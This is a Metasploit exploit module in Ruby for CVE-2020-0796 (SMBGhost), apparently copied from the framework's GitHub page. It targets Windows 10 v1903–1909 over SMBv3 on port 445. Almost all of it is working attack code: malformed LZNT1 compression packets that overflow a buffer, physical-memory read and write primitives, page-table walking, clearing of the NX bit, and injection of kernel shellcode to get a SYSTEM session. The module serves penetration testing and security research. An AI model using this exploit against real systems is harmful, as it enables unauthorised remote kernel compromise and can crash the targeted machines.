/
cve_2020_0796_smbghost.rb
444 lines (377 loc) · 17 KB
/
cve_2020_0796_smbghost.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
LZNT1 = RubySMB::Compression::LZNT1
# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
KSD_VA_MAP = 0x800
KSD_VA_PMDL = 0x900
KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup
MAX_READ_RETRIES = 5
WRITE_UNIT = 0xd0
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMBv3 Compression Buffer Overflow',
'Description' => %q{
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
can take a few minutes as the necessary data is gathered.
},
'Author' => [
'hugeh0ge', # Ricerca Security research, detailed technique description
'chompie1337', # PoC on which this module is based
'Spencer McIntyre', # msf module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2020-0796' ],
[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'WfsDelay' => 10
},
'Privileged' => true,
'Payload' => {
'Space' => 600,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' => [
[
'Windows 10 v1903-1909 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'OverflowSize' => 0x1100,
'LowStubFingerprint' => 0x1000600e9,
'KuserSharedData' => 0xfffff78000000000,
# Offset(From,To) => Bytes
'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
'Offset(LowStub,SelfVA)' => 0x78,
'Offset(LowStub,PML4)' => 0xa0,
'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
}
]
],
'DisclosureDate' => '2020-03-13',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ],
'SideEffects' => []
}
)
)
register_options([Opt::RPORT(445),])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
])
end
def check
begin
client = RubySMB::Client.new(
RubySMB::Dispatcher::Socket.new(connect(false)),
username: '',
password: '',
smb1: false,
smb2: false,
smb3: true
)
protocol = client.negotiate
client.disconnect!
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
return CheckCode::Unknown
rescue Errno::ECONNRESET
return CheckCode::Unknown
rescue ::Exception => e # rubocop:disable Lint/RescueException
vprint_error("#{rhost}: #{e.class} #{e}")
return CheckCode::Unknown
end
return CheckCode::Safe unless protocol == 'SMB3'
return CheckCode::Safe unless client.dialect == '0x0311'
lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
CheckCode::Detected
end
def smb_negotiate
# need a custom negotiate function because the responses will be corrupt while reading memory
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
packet = RubySMB::SMB2::Packet::NegotiateRequest.new
packet.client_guid = SecureRandom.random_bytes(16)
packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })
packet.capabilities.large_mtu = 1
packet.capabilities.encryption = 1
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
)
nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
nc.data.salt = "\x00" * 32
packet.add_negotiate_context(nc)
nc = RubySMB::SMB2::NegotiateContext.new(
context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
)
nc.data.flags = 1
nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
packet.add_negotiate_context(nc)
dispatcher.send_packet(packet)
dispatcher
end
def write_primitive(data, addr)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
uncompressed_data << [ addr ].pack('Q<')
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffffff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: data.length,
compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def write_srvnet_buffer_hdr(data, offset)
dispatcher = smb_negotiate
dispatcher.tcp_socket.get_once # disregard the response
dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
original_compressed_segment_size: 0xffffefff,
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
offset: dummy_data.length,
compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
)
dispatcher.send_packet(pkt)
dispatcher.tcp_socket.close
end
def read_primitive(phys_addr)
value = @memory_cache[phys_addr]
return value unless value.nil?
vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
fake_mdl = MDL.new(
mdl_size: 0x48,
mdl_flags: 0x5018,
mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
byte_count: 600,
byte_offset: ((phys_addr & 0xfff) + 0x4)
)
phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12
(MAX_READ_RETRIES * 2).times do |try|
write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])
MAX_READ_RETRIES.times do |_|
dispatcher = smb_negotiate
blob = dispatcher.tcp_socket.get_once
dispatcher.tcp_socket.close
next '' if blob.nil?
next if blob[4..7] == "\xfeSMB".b
@memory_cache[phys_addr] = blob
return blob
end
sleep try**2
end
fail_with(Failure::Unknown, 'Failed to read physical memory')
end
def find_low_stub
common = [0x13000].to_enum # try the most common value first
all = (0x1000..0x100000).step(0x1000)
(common + all).each do |index|
buff = read_primitive(index)
entry = buff.unpack('Q<').first
next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)
lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))
phal_heap = lowstub_va & 0xffffffffffff0000
print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
return { pml4: pml4, phal_heap: phal_heap }
end
fail_with(Failure::Unknown, 'Failed to find the low stub')
end
def find_pml4_selfref(pointers)
search_len = 0x1000
index = pointers[:pml4]
while search_len > 0
buff = read_primitive(index)
buff = buff[0...-(buff.length % 8)]
buff.unpack('Q<*').each_with_index do |entry, i|
entry &= 0xfffff000
next unless entry == pointers[:pml4]
selfref = ((index + (i * 8)) & 0xfff) >> 3
pointers[:pml4_selfref] = selfref
print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
return pointers
end
search_len -= [buff.length, 8].max
index += [buff.length, 8].max
end
fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
end
def get_phys_addr(pointers, va_addr)
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
pml4e = pointers[:pml4] + pml4_index * 8
pdpt_buff = read_primitive(pml4e)
pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
pdpte = pdpt + pdpt_index * 8
pdt_buff = read_primitive(pdpte)
pdt = pdt_buff.unpack('Q<').first & 0xfffff000
pdte = pdt + pdt_index * 8
pt_buff = read_primitive(pdte)
pt = pt_buff.unpack('Q<').first
unless pt & (1 << 7) == 0
return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
end
pt &= 0xfffff000
pte = pt + pt_index * 8
pte_buff = read_primitive(pte)
(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
end
def disable_nx(pointers, addr)
lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
pte_va = ((addr >> 9) | lb) & ub
phys_addr = get_phys_addr(pointers, pte_va)
orig_val = read_primitive(phys_addr).unpack1('Q<')
overwrite_val = orig_val & ((1 << 63) - 1)
write_primitive([ overwrite_val ].pack('Q<'), pte_va)
{ pte_va: pte_va, original: orig_val }
end
def search_hal_heap(pointers)
va_cursor = pointers[:phal_heap]
end_va = va_cursor + 0x20000
while va_cursor < end_va
phys_addr = get_phys_addr(pointers, va_cursor)
buff = read_primitive(phys_addr)
buff = buff[0...-(buff.length % 8)]
values = buff.unpack('Q<*')
window_size = 8 # using a sliding window to fingerprint the memory
0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
va = va_cursor + (i * 8)
window = values[i...(i + window_size)]
next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
next unless window[3].between?(0x20, 0x40)
next unless (window[0] - window[2]).between?(0x80, 0x180)
phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12
# looks legit (TM), lets hope for the best
# use WinDBG to validate the hal!HalpInterruptController value manually
# 0: kd> dq poi(hal!HalpInterruptController) L1
pointers[:pHalpInterruptController] = va
print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")
# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
pointers[:pHalpApicRequestInterrupt] = phalp_ari
print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
return pointers
end
va_cursor += buff.length
end
fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
end
def build_shellcode(pointers)
source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb')
edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
user_shellcode = payload.encoded
edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
edata.data + user_shellcode
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute this module? There is a high probability that even when the exploit is
successful the remote target will crash within about 90 minutes.
Disable the DefangedMode option to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
@memory_cache = {}
@shellcode_length = 0
pointers = find_low_stub
pointers = find_pml4_selfref(pointers)
pointers = search_hal_heap(pointers)
@nx_info = disable_nx(pointers, target['KuserSharedData'])
print_status('KUSER_SHARED_DATA PTE NX bit cleared!')
shellcode = build_shellcode(pointers)
vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
@shellcode_length = shellcode.length
write_bytes = 0
while write_bytes < @shellcode_length
write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
write_bytes += write_sz
end
vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
end
def cleanup
return unless @memory_cache&.present?
if @nx_info&.present?
print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
end
# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
(start_va..end_va).step(WRITE_UNIT).each do |cursor|
write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
end
end
module CorruptLZNT1
def self.compress(buf, chunk_size: 0x1000)
out = ''
until buf.empty?
chunk = buf[0...chunk_size]
compressed = LZNT1.compress_chunk(chunk)
# always use the compressed chunk, even if it's larger
out << [ 0xb000 | (compressed.length - 1) ].pack('v')
out << compressed
buf = buf[chunk_size..]
break if buf.nil?
end
out << [ 0x1337 ].pack('v')
out
end
end
class MDL < BinData::Record
# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
endian :little
uint64 :next_mdl
uint16 :mdl_size
uint16 :mdl_flags
uint16 :allocation_processor_number
uint16 :reserved
uint64 :process
uint64 :mapped_system_va
uint64 :start_va
uint32 :byte_count
uint32 :byte_offset
end
end